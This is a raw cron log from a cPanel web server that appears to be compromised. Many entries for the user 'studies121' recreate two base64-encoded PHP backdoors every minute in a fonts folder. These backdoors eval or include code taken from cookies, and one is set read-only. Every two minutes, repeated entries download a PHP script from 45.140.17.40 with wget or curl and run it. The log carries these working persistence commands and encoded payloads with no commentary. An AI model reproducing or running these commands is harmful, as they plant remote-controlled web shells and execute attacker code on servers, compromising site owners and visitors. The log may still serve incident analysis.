Sep  9 10:37:01 ip-184-168-122-23 CROND[31421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:37:01 ip-184-168-122-23 CROND[31423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:37:01 ip-184-168-122-23 CROND[31422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:38:01 ip-184-168-122-23 CROND[31585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:38:01 ip-184-168-122-23 CROND[31588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:38:01 ip-184-168-122-23 CROND[31591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:38:01 ip-184-168-122-23 CROND[31592]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:38:01 ip-184-168-122-23 CROND[31590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:39:01 ip-184-168-122-23 CROND[31749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:39:01 ip-184-168-122-23 CROND[31751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:39:02 ip-184-168-122-23 CROND[31754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:39:02 ip-184-168-122-23 CROND[31755]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 10:39:02 ip-184-168-122-23 CROND[31756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:40:01 ip-184-168-122-23 CROND[31869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:40:01 ip-184-168-122-23 CROND[31871]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 10:40:01 ip-184-168-122-23 CROND[31874]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:40:01 ip-184-168-122-23 CROND[31875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:40:01 ip-184-168-122-23 CROND[31878]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:40:01 ip-184-168-122-23 CROND[31877]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:40:01 ip-184-168-122-23 CROND[31885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:40:01 ip-184-168-122-23 CROND[31883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:41:01 ip-184-168-122-23 CROND[32004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:41:01 ip-184-168-122-23 CROND[32006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:41:01 ip-184-168-122-23 CROND[32010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:41:01 ip-184-168-122-23 CROND[32011]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:42:01 ip-184-168-122-23 CROND[32149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:42:01 ip-184-168-122-23 CROND[32151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:42:01 ip-184-168-122-23 CROND[32152]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:42:01 ip-184-168-122-23 CROND[32156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:42:01 ip-184-168-122-23 CROND[32158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:43:01 ip-184-168-122-23 CROND[32347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:43:01 ip-184-168-122-23 CROND[32351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:43:01 ip-184-168-122-23 CROND[32349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:43:01 ip-184-168-122-23 CROND[32350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:44:01 ip-184-168-122-23 CROND[32459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:44:01 ip-184-168-122-23 CROND[32461]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:44:01 ip-184-168-122-23 CROND[32462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:44:01 ip-184-168-122-23 CROND[32463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:44:01 ip-184-168-122-23 CROND[32464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:45:01 ip-184-168-122-23 CROND[32571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:45:01 ip-184-168-122-23 CROND[32572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:45:01 ip-184-168-122-23 CROND[32575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:45:01 ip-184-168-122-23 CROND[32577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:45:01 ip-184-168-122-23 CROND[32574]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:45:01 ip-184-168-122-23 CROND[32581]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:46:01 ip-184-168-122-23 CROND[32700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:46:01 ip-184-168-122-23 CROND[32702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:46:01 ip-184-168-122-23 CROND[32703]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 10:46:01 ip-184-168-122-23 CROND[32705]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 10:46:01 ip-184-168-122-23 CROND[32704]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:46:01 ip-184-168-122-23 CROND[32707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:46:01 ip-184-168-122-23 CROND[32706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:47:01 ip-184-168-122-23 CROND[374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:47:01 ip-184-168-122-23 CROND[377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:47:01 ip-184-168-122-23 CROND[376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:47:01 ip-184-168-122-23 CROND[378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:48:01 ip-184-168-122-23 CROND[642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:48:01 ip-184-168-122-23 CROND[646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:48:01 ip-184-168-122-23 CROND[644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:48:01 ip-184-168-122-23 CROND[647]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:48:01 ip-184-168-122-23 CROND[645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:49:01 ip-184-168-122-23 CROND[802]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  9 10:49:01 ip-184-168-122-23 CROND[804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
